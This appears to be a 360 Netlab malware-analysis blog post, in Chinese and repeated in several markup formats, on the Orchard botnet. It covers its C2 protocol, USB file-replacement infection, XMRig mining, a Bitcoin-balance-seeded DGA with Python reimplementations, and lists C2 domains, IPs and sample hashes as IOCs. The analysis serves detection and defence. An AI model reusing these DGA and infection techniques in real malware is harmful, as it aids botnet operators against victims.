<li>Active_Window：当前活动窗口名称</li>
<li>Antivirus：杀软信息</li>
<li>Authentiate_Type：Windows身份验证类型</li>
<li>CPU_Model：CPU信息</li>
<li>Camera：是否存在摄像头</li>
<li>Elevated：是否是管理员权限</li>
<li>GPU_Models：显卡信息</li>
<li>Identity：HWID\用户名\电脑名称</li>
<li>Operating_System：系统版本信息</li>
<li>Ram_Size：运行内存大小</li>
<li>System_Architecture：处理器个数</li>
<li>Threads：每个处理器内核个数</li>
<li>Version：Orchard版本</li>
</ul>
<p>v3的上线包实例如下所示。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v3.c-------1-1.png" alt="v3.c-------1-1" loading="lazy"></p>
<p>C2响应消息的body部分也为json格式，其结构为：TotalLen.dword+ Byte0x46+TotalLen+RespDataLen+RespData.json。v3支持8个指令，对应3种操作：</p>
<ul>
<li>指令1：收集主机信息/自身运行状态并发送到C2（字段包括Domain、In_Memory、Install_Path、Is_Patched、Message_Type、Patch_Name、Port、Power_SaverMode、Process_ID、Process_Name、Process_Path、System_Idle、System_Uptime）</li>
<li>指令4、6：终结当前进程删除原始文件，或者重新启动。</li>
<li>指令7、8：下载&执行下发的矿机程序</li>
</ul>
<p>下面是一个实际跟踪到的C2响应指令。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v33-3.png" alt="v33-3" loading="lazy"></p>
<p>其中Transfer_Port表示希望主机再次向2929进行请求，Message_Type表示指令码，其值为7，表示下载&执行。</p>
<p>收到上述指令后，bot再次向C2的TCP 2929端口发起请求，Cuda是Nvidia推出的只能用于自家GPU的并行计算框架，这里的Cuda_Version为0表示不支持Cuda。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v31-5.png" alt="v31-5" loading="lazy"></p>
<p>随后C2响应一个XMRig矿机程序，Client接收保存后根据指令7将XMRig注入傀儡进程开始执行挖矿工作。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v34-1-1.png" alt="v34-1-1" loading="lazy"></p>
<p>分析过程中我们发现v3版本最近在持续分发一个同样的XMRig挖矿程序，后者集成了默认的挖矿配置信息，私有矿池地址：45.61.187.7:7733</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="dga">DGA算法</h4>
<p>v3的DGA算法未变，但输入的变化较大。实际上它会生成两组DGA域名，第一组域名的输入拼接算法是日期字符串+“ojena.duckdns.org”， 形如 “2022-08-02ojena.duckdns.org”。第二组域名的输入为<code>https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa</code> 这个URL的返回结果，一个典型的返回结果如下所示：</p>
<pre><code>{"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa":"final_balance":6854884253,"n_tx":3393,"total_received":6854884253}}
</code></pre>
<p>相关字段的含义可以参考<a href="https://zh.m.wikipedia.org/zh-hans/Blockchain.com">Blockchain</a>的<a href="http://cw.hubwiz.com/card/c/blockchain-api/1/3/9/">API手册</a>：</p>
<pre><code>n_tx：交易数量
total_received：接收比特币总量
final_balance：最终余额
</code></pre>
<p>值得强调的是v3版本并未对返回的结果进行解析，而是作为整体直接输入DGA算法来生成域名。而钱包地址<code>1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa</code> 据说是中本聪本人所持有的<a href="https://en.bitcoin.it/wiki/Genesis_block">比特币创世地址</a>。过去的十几年间，由于各种原因，每天都会有人向该钱包转入小量比特币，因此它是变化的，并且该变化很难预测，因此该钱包的余额信息也可以作为DGA输入。</p>
<p>在我们编写文章时，发现近期已有<a href="https://bin.re/blog/the-dgas-of-sharkbot/">其他研究人员注意到v3版本这种将比特币账号交易信息用作DGA输入的现象</a>，所分析结果与我们一致，但对方并没有注意到Orchard其实早已出现。</p>
<p>完整的v3版本DGA算法如下：</p>
<pre><code># 2022/07/05
import datetime
import requests
import hashlib
# cluster 1
days = 30
for i in range(0, days):
domains = ['ojena.duckdns.org', 'vgzero.duckdns.org']
for do in domains:
datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y-%m-%d' + do)
print("seed_1: %s" % datex)
md5 = hashlib.md5(datex.encode()).hexdigest()
print("md5: %s" % md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
# cluster 2
url = 'https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa'
res = requests.get(url)
wallet_info = res.text
print('seed_2: %s' % wallet_info)
md5 = hashlib.md5(wallet_info.encode()).hexdigest()
print('md5: %s' % md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="usb">USB感染逻辑</h3>
<p>Orchard的文件感染并非传统的代码插入，而是一种文件替换。当检测到USB存储设备时，Orchard会在设备根目录下创建隐藏目录，遍历所有文件进行感染，并将感染前和感染后的文件都备份到该隐藏目录下，被感染对象在感染时去掉了类型属性，感染后全部变为exe类型，并追加了.exe后缀，变成了可执行文件。随后样本会复制自身到被感染目录下并随机命名，该字符串保存到了被感染文件的资源里。当设备中的被感染文件在新系统中被用户执行后，则会启动隐藏目录中的样本文件，达到感染传播的目的。</p>
<p>USB感染过程会涉及两个内嵌的PE文件，第一个文件是DLL文件，会被释放到%LocalAppData%目录下，该DLL被Orchard称作CGO_Helper，主要用于提取和替换被感染文件的图标，其MD5是10D42F5465D5D8808B43619D8266BD99。第二个文件是exe文件，MD5为f3c06399c68c5fdf80bb2853f8f2934b，作为存储感染代码的模板文件，被感染文件的全部数据将被替换为该模板文件的数据。该模板的功能是根据资源中的exe名称寻找隐藏目录下对应的exe启动执行，所以被感染文件的资源中保存的是备份的Orchard样本名称。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>USB感染情况示例如下，被感染文件资源中保存了Orchard样本的名称，当用户点击受感染的exe，将启动隐藏目录下的Orchard样本文件：</p>
<p><img src="__GHOST_URL__/content/images/2022/07/-----4.png" alt="-----4" loading="lazy"></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">总结</h2>
<p>Orchard是一个使用了DGA技术的botnet家族，最新版本致力于挖矿，并开始使用中本聪的比特币账号交易信息这类更难预测的信息作为DGA的输入，增加了检测难度。在1年多的时间里，Orchard先后出现了至少3个不同版本，编程语言和DGA实现都有变化，这说明Orchard是一个仍处于活跃期的botnet家族，预计后续会有更多的变种出现，值得我们警惕。对Orchard我们会持续保持关注，有新的发现会继续公开。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="iocs">IOCs</h2>
<h3 id="c2">C2</h3>
<pre><code>orcharddns.duckdns.org
orchardmaster.duckdns.org
ojena.duckdns.org
vgzero.duckdns.org
victorynicholas.duckdns.org
zamarin1.duckdns.org
45.61.185.36
45.61.186.52
45.61.187.240
205.185.124.143
45.61.185.231
</code></pre>
<h3 id="md5">MD5</h3>
<pre><code>5c883ff8539b8d04be017a51a84e3af8
f3e0b960a48b433bc4bfe6ac44183b74
9cbe4bd27eba8c70b6eddaeb6707659b
cb442cbff066dfef2e3ff0c56610148f
10D42F5465D5D8808B43619D8266BD99
f3c06399c68c5fdf80bb2853f8f2934b
19159280736dbe6c11b7d6a57f6bb7b9
b5a6f78d5575a60316f4e784371d4f8c
3c20ba851edecd28c198691321429883
2b244a39571ab27f7bb4174d460adeef
ae1e9b3621ee041be6ab5e12bff37c53
00b1620f89b7980b34d53737d9e42fd3
4d2445a43591d041cabbbf3dfca6dfbd
</code></pre>
<h3 id="">私有矿池</h3>
<pre><code>45.61.187.7:7733
</code></pre>
<!--kg-card-end: markdown--> | DGA是一种经典的botnet对抗检测的技术，其原理是使用某种DGA算法，结合特定的种子和当前日期，定期生成大量的域名，而攻击者只是选择性的注册其中的极少数。对于防御者而言，因为难以事先确定哪些域名会被生成和注册，因而防御难度极大。
360 netlab长期专注于botnet攻防技术的研究，维护了专门的DGA算法和情报库，并通过订阅情报的方式与业界分享研究成果。近期我们在分析未知DGA域名时发现一例不但使用日期，还会同时使用中本聪的比特币账号交易信息来生成DGA域名的例子。因为比特币交易的不确定性，该技术比使用时间生成的DGA更难预测，因而防御难度更大。
该技术发现于一个名为Orchard的botnet家族。自从2021年2月份首次检测到该家族以来，我们发现它至少经历了3个版本的变化，中间甚至切换过编程语言。结合长期的跟踪结果和其它维度的信息，我们认为Orchard会是一个长期活跃、持续发展的botnet家族，值得警惕。本文将介绍Orchard的最新DGA技术，以及它这3个版本的发展过程。本文要点如下：
* Orchard是一个使用了DGA技术的botnet家族，核心功能是在受害者机器上安装各种恶意软件。
* 从2021年2月至今，我们先后检测到3个版本的Orchard样本，均使用了DGA技术。
* Orchard的DGA算法一直未变，但日期的使用方式一直在变，最新版同时支持使用比特币账号信息来生成单独的DGA域名。
* 除了DGA，Orchard还硬编码了C2域名。
* Orchard目前仍在活跃，致力于门罗币挖矿。
传播方式、规模以及影响范围
Orchard采用了“硬编码域名+DGA”的冗余C2机制，并且每个版本都硬编码了1个唯一的DuckDNS动态域名作为C2，根据它们的DGA实现方式和硬编码的域名，我们把已经检测到的Orchard样本分为3个版本：
v1, orcharddns.duckdns.org
v2，orchardmaster.duckdns.org
v3, ojena.duckdns.org
它们的时间线如下：
* 2021年3月，检测到v1版本，使用C++开发。结合历史数据，我们将v1首次出现时间提前到2021年2月。
* 2021年9月，检测到v2版本，它使用Golang和C++编写。
* 2022年7月，检测到v3版本，编写语言回到C++。
这3个版本都支持通过感染USB盘的方式进行传播，这一点跟传统的病毒很像，具体实现参考后面的“USB感染逻辑”部分。理论上，Orchard也完全可以通过其它方式传播。
利用我们的图系统结合PDNS和其它维度的数据，我们发现v1和v2的C2存在明显的共享IP的情况，如下图所示。
图系统帮我们找到了更多的C2 IP和域名，详见后面的IoC部分，这里的域名特点是都以duckdns.org结尾。v3因为比较新，没发现其它的关联域名，下面是v3域名的活跃情况。
能看到它是今年5月上线，然后逐渐活跃，目前应该仍然在活跃期内。
基于PDNS我们对3个版本的感染规模做了评估，其中v1和v2节点数近千，v3因为出现较晚，节点数不到500，下面是各个版本域名到具体IP的详细解析数。
# v1, orcharddns.duckdns.org
37, 45.61.185.36
413, 45.61.186.52
1301, 45.61.187.240
207, 205.185.124.143
# v2, orchardmaster.duckdns.org
45, 45.61.185.36
104, 45.61.186.52
659, 45.61.187.240
# v3, ojena.duckdns.org
418, 45.61.185.231
需要强调的是上面的规模数据只是我们视野内看到的，实际的应该要比这更多。
样本分析
Orchard样本在样本层面多使用loader，用于对抗分析和自我保护。目前看到的Orchard loader并不固定，即使单个版本也会出现多种loader的情况，比如v1版本的Orchard以base64字符串的形式存在于loader中，v2/v3版本的样本有的以资源文件的形式存放在loader中。各个版本还都曾使用过例如VMP、Enigma等虚拟壳来保护自身。总的来说，Orchard的工作流程可以用下面的图来总结。
Orchard三个版本的功能基本相同，包括：
* 上传设备及用户信息
* 响应指令/下载执行下一阶段的模块
* 感染USB存储设备
下面从DGA算法、C2通信和主机行为等几个维度分别分析3个版本Orchard的核心功能。
v1版本
该版本的分析以MD5=5c883ff8539b8d04be017a51a84e3af8的样本为基础。它在运行时首先释放内嵌的PE文件到自启动目录下，所释放的PE在内存中进行base64解码得到orchard的数据，随后该PE将System32/SysWOW64下的任一exe作为傀儡进程，来运行保存的orchard代码。该版本Orchard整体逻辑如下图，主要分为网络通信和USB感染两部分，最终功能取决于C2下发的具体模块，因此orchard本身可以认为是一个Downloader的角色。
此处主要描述其网络通信过程（三个版本的USB感染逻辑相同，详见USB感染一节）。
C2通信过程较为简单，bot在check-in过程中向C2发送收集到的主机信息，然后等待C2响应的指令。v1版本所收集信息包括：卷序列号（HWID）、电脑名称、用户名、操作系统名称、系统版本、已安装的捕获驱动程序名称、杀软信息、父进程文件修改时间、置顶窗口名称及窗口标题等，这些信息以“[o.r.c.h.a.r.d]”作为分隔符进行拼接后发送，如下图所示。
C2响应数据格式一般为“指令+数据”，指令的功能通过指令码指定。下面是一个具体的C2响应，其中"[&&]"代表指令码2，代表下载执行，具体处理过程分为2种：响应数据如果是URL，则下载URL对应的PE并执行；如果是base64编码的内容，则先解码然后执行解码后的数据。此处响应的数据实际是base64编码的新版本PE文件，相当于升级，这也表明老版本可能已经废弃。
v1版本一共定义了8个指令，指令码与指令字符串的对应关系如下：
1 \[=]
2 \[&&]
3 \[##]
4 \[###]
5 \[%%]
6 \[%%%]
7 \[#\_#]
8 \[\_\_\] \[>>] \[<<] \[^^] \[\*\] \[\~\] \[@] \[!] \[#\*\#\] \[#@#]
由于某些指令置空，8个指令实际对应三种操作（后续版本大同小异）：
* 指令码1和2：判断响应数据为URL或者PE，如果是URL则下载执行，如果是PE，则创建进程执行（CreateProcess创建进程、傀儡进程、远程线程注入等）。
* 指令码3、4、8：终结当前进程删除原始文件，或者重新启动。
* 指令码7：再次收集C2、port、PID、文件名信息向C2进行发送，示例：orcharddns.duckdns.org[o.r.c.h.a.r.d]5890[o.r.c.h.a.r.d]2260[o.r.c.h.a.r.d]stage-3_.exe[o.r.c.h.a.r.d]
DGA算法
v1的DGA以日期字符串（比如“2022/07/05”）作为输入，计算其MD5值，然后将MD5字符串均分成长度为8的四个子字符串，依次与 .com、.net、.org、.duckdns.org 这4个后缀拼接，得到每天4组16个DGA域名，算法实现如下。
# 2021/04/15
import datetime
import hashlib
days=30
for i in range(0, days):
datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y/%m/%d')
print("seed: ", datex)
md5 = hashlib.md5(datex.encode()).hexdigest()
print('md5: ', md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
示例域名如下：
seed: 2022/07/05
md5: 91ac64d29f78281ad802f44648b2137f
91ac64d2.com
91ac64d2.net
91ac64d2.org
91ac64d2.duckdns.org
9f78281a.com
9f78281a.net
9f78281a.org
9f78281a.duckdns.org
d802f446.com
d802f446.net
d802f446.org
d802f446.duckdns.org
48b2137f.com
48b2137f.net
48b2137f.org
48b2137f.duckdns.org
v2版本
v2版本出现了两种编程语言实现的样本，分别是Golang和C++，但是功能相同。这里的分析以MD5=f3e0b960a48b433bc4bfe6ac44183b74的Golang样本为例，它的C2初始化函数如下图所示，能明显看到硬编码的C2域名。
v2版本开始使用json格式，字段含义相对清晰。其收集的信息跟v1大致相同，包括：卷序列号（HWID）、电脑名称、用户名、系统版本、杀软信息、活动窗口信息等，新增的字段有：.net框架版本（比如v2.0.50727）、USB 状态、发包类型及自身版本。下面是一个实际观察到的版本号信息，Bot_Version=1.2/G可能的解释为：版本=v1.2，编写语言=Golang。
v2版本的C++语言样本集成了同样的C2，上线包中的版本信息则变成了“Bot_version:1/C”，它所收集的信息如下图所示。
根据代码相似性分析，v2版本的C++样本跟后来的v3版本代码同源，说明后者是从前者进化而来。
v2版本一共有两种指令：
* 指令1：终结当前进程删除原始文件，或者重新启动。
* 指令2：判断响应数据为URL或者PE，如果是URL则下载执行，如果是PE，则创建进程执行（CreateProcess创建进程、傀儡进程、远程线程注入等）。
DGA算法
v2版本的DGA算法跟v1相同，差别在于对日期字符串的处理，v2会在日期字符串后拼接硬编码的域名“orchardmaster.duckdns.org”，形如“2022/07/05orchardmaster.duckdns.org"，然后套用v1版本的DGA算法生成域名。
v3版本
v3的开发语言回到C++编写，同样包括C2通信和USB感染功能。C2通信逻辑在一个线程中运行，同时该线程还包括一个跟XMRig挖矿绑定的辅助线程，当Orchard接收完毕下发的XMrig程序并创建傀儡进程运行之后，辅助线程会向C2再次发送挖矿相关的硬件信息，尝试从C2读取挖矿软件的配置，目的是为了检查是否需要动态修改XMRig运行时的配置（XMRig提供了一套HTTP api，支持动态读取并修改运行时的挖矿配置）。
以MD5=cb442cbff066dfef2e3ff0c56610148f的样本为例，C2通信功能如下。
v3版本在C2通信中同样使用json格式来保存主机信息，发送数据的整体结构为Byte_0x46+TotalLen+InfoLen+Info.json。相比v2，v3增加了多个跟挖矿相关的字段，收集的信息包括：
* Active_Window：当前活动窗口名称
* Antivirus：杀软信息
* Authentiate_Type：Windows身份验证类型
* CPU_Model：CPU信息
* Camera：是否存在摄像头
* Elevated：是否是管理员权限
* GPU_Models：显卡信息
* Identity：HWID\用户名\电脑名称
* Operating_System：系统版本信息
* Ram_Size：运行内存大小
* System_Architecture：处理器个数
* Threads：每个处理器内核个数
* Version：Orchard版本
v3的上线包实例如下所示。
C2响应消息的body部分也为json格式，其结构为：TotalLen.dword+ Byte0x46+TotalLen+RespDataLen+RespData.json。v3支持8个指令，对应3种操作：
* 指令1：收集主机信息/自身运行状态并发送到C2（字段包括Domain、In_Memory、Install_Path、Is_Patched、Message_Type、Patch_Name、Port、Power_SaverMode、Process_ID、Process_Name、Process_Path、System_Idle、System_Uptime）
* 指令4、6：终结当前进程删除原始文件，或者重新启动。
* 指令7、8：下载&执行下发的矿机程序
下面是一个实际跟踪到的C2响应指令。
其中Transfer_Port表示希望主机再次向2929进行请求，Message_Type表示指令码，其值为7，表示下载&执行。
收到上述指令后，bot再次向C2的TCP 2929端口发起请求，Cuda是Nvidia推出的只能用于自家GPU的并行计算框架，这里的Cuda_Version为0表示不支持Cuda。
随后C2响应一个XMRig矿机程序，Client接收保存后根据指令7将XMRig注入傀儡进程开始执行挖矿工作。
分析过程中我们发现v3版本最近在持续分发一个同样的XMRig挖矿程序，后者集成了默认的挖矿配置信息，私有矿池地址：45.61.187.7:7733
DGA算法
v3的DGA算法未变，但输入的变化较大。实际上它会生成两组DGA域名，第一组域名的输入拼接算法是日期字符串+“ojena.duckdns.org”， 形如 “2022-08-02ojena.duckdns.org”。第二组域名的输入为https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa 这个URL的返回结果，一个典型的返回结果如下所示：
{"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa":"final_balance":6854884253,"n_tx":3393,"total_received":6854884253}}
相关字段的含义可以参考Blockchain的API手册：
n_tx：交易数量
total_received：接收比特币总量
final_balance：最终余额
值得强调的是v3版本并未对返回的结果进行解析，而是作为整体直接输入DGA算法来生成域名。而钱包地址1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa 据说是中本聪本人所持有的比特币创世地址。过去的十几年间，由于各种原因，每天都会有人向该钱包转入小量比特币，因此它是变化的，并且该变化很难预测，因此该钱包的余额信息也可以作为DGA输入。
在我们编写文章时，发现近期已有其他研究人员注意到v3版本这种将比特币账号交易信息用作DGA输入的现象，所分析结果与我们一致，但对方并没有注意到Orchard其实早已出现。
完整的v3版本DGA算法如下：
# 2022/07/05
import datetime
import requests
import hashlib
# cluster 1
days = 30
for i in range(0, days):
domains = ['ojena.duckdns.org', 'vgzero.duckdns.org']
for do in domains:
datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y-%m-%d' + do)
print("seed_1: %s" % datex)
md5 = hashlib.md5(datex.encode()).hexdigest()
print("md5: %s" % md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
# cluster 2
url = 'https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa'
res = requests.get(url)
wallet_info = res.text
print('seed_2: %s' % wallet_info)
md5 = hashlib.md5(wallet_info.encode()).hexdigest()
print('md5: %s' % md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
USB感染逻辑
Orchard的文件感染并非传统的代码插入，而是一种文件替换。当检测到USB存储设备时，Orchard会在设备根目录下创建隐藏目录，遍历所有文件进行感染，并将感染前和感染后的文件都备份到该隐藏目录下，被感染对象在感染时去掉了类型属性，感染后全部变为exe类型，并追加了.exe后缀，变成了可执行文件。随后样本会复制自身到被感染目录下并随机命名，该字符串保存到了被感染文件的资源里。当设备中的被感染文件在新系统中被用户执行后，则会启动隐藏目录中的样本文件，达到感染传播的目的。
USB感染过程会涉及两个内嵌的PE文件，第一个文件是DLL文件，会被释放到%LocalAppData%目录下，该DLL被Orchard称作CGO_Helper，主要用于提取和替换被感染文件的图标，其MD5是10D42F5465D5D8808B43619D8266BD99。第二个文件是exe文件，MD5为f3c06399c68c5fdf80bb2853f8f2934b，作为存储感染代码的模板文件，被感染文件的全部数据将被替换为该模板文件的数据。该模板的功能是根据资源中的exe名称寻找隐藏目录下对应的exe启动执行，所以被感染文件的资源中保存的是备份的Orchard样本名称。
USB感染情况示例如下，被感染文件资源中保存了Orchard样本的名称，当用户点击受感染的exe，将启动隐藏目录下的Orchard样本文件：
总结
Orchard是一个使用了DGA技术的botnet家族，最新版本致力于挖矿，并开始使用中本聪的比特币账号交易信息这类更难预测的信息作为DGA的输入，增加了检测难度。在1年多的时间里，Orchard先后出现了至少3个不同版本，编程语言和DGA实现都有变化，这说明Orchard是一个仍处于活跃期的botnet家族，预计后续会有更多的变种出现，值得我们警惕。对Orchard我们会持续保持关注，有新的发现会继续公开。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IOCs
C2
orcharddns.duckdns.org
orchardmaster.duckdns.org
ojena.duckdns.org
vgzero.duckdns.org
victorynicholas.duckdns.org
zamarin1.duckdns.org
45.61.185.36
45.61.186.52
45.61.187.240
205.185.124.143
45.61.185.231
MD5
5c883ff8539b8d04be017a51a84e3af8
f3e0b960a48b433bc4bfe6ac44183b74
9cbe4bd27eba8c70b6eddaeb6707659b
cb442cbff066dfef2e3ff0c56610148f
10D42F5465D5D8808B43619D8266BD99
f3c06399c68c5fdf80bb2853f8f2934b
19159280736dbe6c11b7d6a57f6bb7b9
b5a6f78d5575a60316f4e784371d4f8c
3c20ba851edecd28c198691321429883
2b244a39571ab27f7bb4174d460adeef
ae1e9b3621ee041be6ab5e12bff37c53
00b1620f89b7980b34d53737d9e42fd3
4d2445a43591d041cabbbf3dfca6dfbd
私有矿池
45.61.187.7:7733
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"DGA是一种经典的botnet对抗检测的技术，其原理是使用某种DGA算法，结合特定的种子和当前日期，定期生成大量的域名，而攻击者只是选择性的注册其中的极少数。对于防御者而言，因为难以事先确定哪些域名会被生成和注册，因而防御难度极大。\n\n360 netlab长期专注于botnet攻防技术的研究，维护了专门的[DGA算法和情报库](https://data.netlab.360.com/dga/)，并通过订阅情报的方式与业界分享研究成果。近期我们在分析未知DGA域名时发现一例不但使用日期，还会同时使用中本聪的比特币账号交易信息来生成DGA域名的例子。因为比特币交易的不确定性，该技术比使用时间生成的DGA更难预测，因而防御难度更大。\n\n该技术发现于一个名为Orchard的botnet家族。自从2021年2月份首次检测到该家族以来，我们发现它至少经历了3个版本的变化，中间甚至切换过编程语言。结合长期的跟踪结果和其它维度的信息，我们认为Orchard会是一个长期活跃、持续发展的botnet家族，值得警惕。本文将介绍Orchard的最新DGA技术，以及它这3个版本的发展过程。本文要点如下：\n* Orchard是一个使用了DGA技术的botnet家族，核心功能是在受害者机器上安装各种恶意软件。\n* 从2021年2月至今，我们先后检测到3个版本的Orchard样本，均使用了DGA技术。\n* Orchard的DGA算法一直未变，但日期的使用方式一直在变，最新版同时支持使用比特币账号信息来生成单独的DGA域名。\n* 除了DGA，Orchard还硬编码了C2域名。\n* Orchard目前仍在活跃，致力于门罗币挖矿。\n"}],["markdown",{"markdown":"## 传播方式、规模以及影响范围\n\nOrchard采用了“硬编码域名+DGA”的冗余C2机制，并且每个版本都硬编码了1个唯一的DuckDNS动态域名作为C2，根据它们的DGA实现方式和硬编码的域名，我们把已经检测到的Orchard样本分为3个版本：\n```\nv1, orcharddns.duckdns.org\nv2，orchardmaster.duckdns.org\nv3, ojena.duckdns.org\n```\n\n它们的时间线如下：\n```\n* 2021年3月，检测到v1版本，使用C++开发。结合历史数据，我们将v1首次出现时间提前到2021年2月。\n* 2021年9月，检测到v2版本，它使用Golang和C++编写。\n* 2022年7月，检测到v3版本，编写语言回到C++。\n```\n\n这3个版本都支持通过感染USB盘的方式进行传播，这一点跟传统的病毒很像，具体实现参考后面的“USB感染逻辑”部分。理论上，Orchard也完全可以通过其它方式传播。\n\n利用我们的图系统结合PDNS和其它维度的数据，我们发现v1和v2的C2存在明显的共享IP的情况，如下图所示。\n\n\n\n图系统帮我们找到了更多的C2 IP和域名，详见后面的IoC部分，这里的域名特点是都以duckdns.org结尾。v3因为比较新，没发现其它的关联域名，下面是v3域名的活跃情况。\n\n\n\n能看到它是今年5月上线，然后逐渐活跃，目前应该仍然在活跃期内。\n\n基于PDNS我们对3个版本的感染规模做了评估，其中v1和v2节点数近千，v3因为出现较晚，节点数不到500，下面是各个版本域名到具体IP的详细解析数。\n```\n# v1, orcharddns.duckdns.org\n37, 45.61.185.36\n413, 45.61.186.52\n1301, 45.61.187.240\n207, 205.185.124.143\n\n# v2, orchardmaster.duckdns.org\n45, 45.61.185.36\n104, 45.61.186.52\n659, 45.61.187.240\n\n# v3, ojena.duckdns.org\n418, 45.61.185.231\n```\n\n需要强调的是上面的规模数据只是我们视野内看到的，实际的应该要比这更多。"}],["markdown",{"markdown":"## 样本分析\n\nOrchard样本在样本层面多使用loader，用于对抗分析和自我保护。目前看到的Orchard loader并不固定，即使单个版本也会出现多种loader的情况，比如v1版本的Orchard以base64字符串的形式存在于loader中，v2/v3版本的样本有的以资源文件的形式存放在loader中。各个版本还都曾使用过例如VMP、Enigma等虚拟壳来保护自身。总的来说，Orchard的工作流程可以用下面的图来总结。\n\n\n\n\n\n\n\nOrchard三个版本的功能基本相同，包括：\n\n* 上传设备及用户信息\n* 响应指令/下载执行下一阶段的模块\n* 感染USB存储设备\n\n\n下面从DGA算法、C2通信和主机行为等几个维度分别分析3个版本Orchard的核心功能。\n\n### v1版本\n\n该版本的分析以MD5=5c883ff8539b8d04be017a51a84e3af8的样本为基础。它在运行时首先释放内嵌的PE文件到自启动目录下，所释放的PE在内存中进行base64解码得到orchard的数据，随后该PE将System32/SysWOW64下的任一exe作为傀儡进程，来运行保存的orchard代码。该版本Orchard整体逻辑如下图，主要分为网络通信和USB感染两部分，最终功能取决于C2下发的具体模块，因此orchard本身可以认为是一个Downloader的角色。\n\n\n\n此处主要描述其网络通信过程（三个版本的USB感染逻辑相同，详见USB感染一节）。\n\n\n\n\n\n\n\n\n\n\n\n\n"}],["markdown",{"markdown":"\nC2通信过程较为简单，bot在check-in过程中向C2发送收集到的主机信息，然后等待C2响应的指令。v1版本所收集信息包括：卷序列号（HWID）、电脑名称、用户名、操作系统名称、系统版本、已安装的捕获驱动程序名称、杀软信息、父进程文件修改时间、置顶窗口名称及窗口标题等，这些信息以“[o.r.c.h.a.r.d]”作为分隔符进行拼接后发送，如下图所示。\n\n\n\n\nC2响应数据格式一般为“指令+数据”，指令的功能通过指令码指定。下面是一个具体的C2响应，其中\"\\[&&\\]\"代表指令码2，代表下载执行，具体处理过程分为2种：响应数据如果是URL，则下载URL对应的PE并执行；如果是base64编码的内容，则先解码然后执行解码后的数据。此处响应的数据实际是base64编码的新版本PE文件，相当于升级，这也表明老版本可能已经废弃。\n\n\n\nv1版本一共定义了8个指令，指令码与指令字符串的对应关系如下：\n```\n1 \\[=] \n2 \\[&&] \n3 \\[##] \n4 \\[###] \n5 \\[%%] \n6 \\[%%%] \n7 \\[#\\_#] \n8 \\[\\_\\_\\] \\[>>] \\[<<] \\[^^] \\[\\*\\] \\[\\~\\] \\[@] \\[!] \\[#\\*\\#\\] \\[#@#] \n```\n\n由于某些指令置空，8个指令实际对应三种操作（后续版本大同小异）：\n* 指令码1和2：判断响应数据为URL或者PE，如果是URL则下载执行，如果是PE，则创建进程执行（CreateProcess创建进程、傀儡进程、远程线程注入等）。\n* 指令码3、4、8：终结当前进程删除原始文件，或者重新启动。\n* 指令码7：再次收集C2、port、PID、文件名信息向C2进行发送，示例：orcharddns.duckdns.org[o.r.c.h.a.r.d]5890[o.r.c.h.a.r.d]2260[o.r.c.h.a.r.d]stage-3_.exe[o.r.c.h.a.r.d]\n\n\n\n\n#### DGA算法\n\nv1的DGA以日期字符串（比如“2022/07/05”）作为输入，计算其MD5值，然后将MD5字符串均分成长度为8的四个子字符串，依次与 .com、.net、.org、.duckdns.org 这4个后缀拼接，得到每天4组16个DGA域名，算法实现如下。\n```\n# 2021/04/15\nimport datetime\nimport hashlib\n\ndays=30\nfor i in range(0, days):\n datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y/%m/%d')\n print(\"seed: \", datex)\n md5 = hashlib.md5(datex.encode()).hexdigest()\n print('md5: ', md5)\n\n dga_list = []\n dga_list.append(md5[:8])\n dga_list.append(md5[8:16])\n 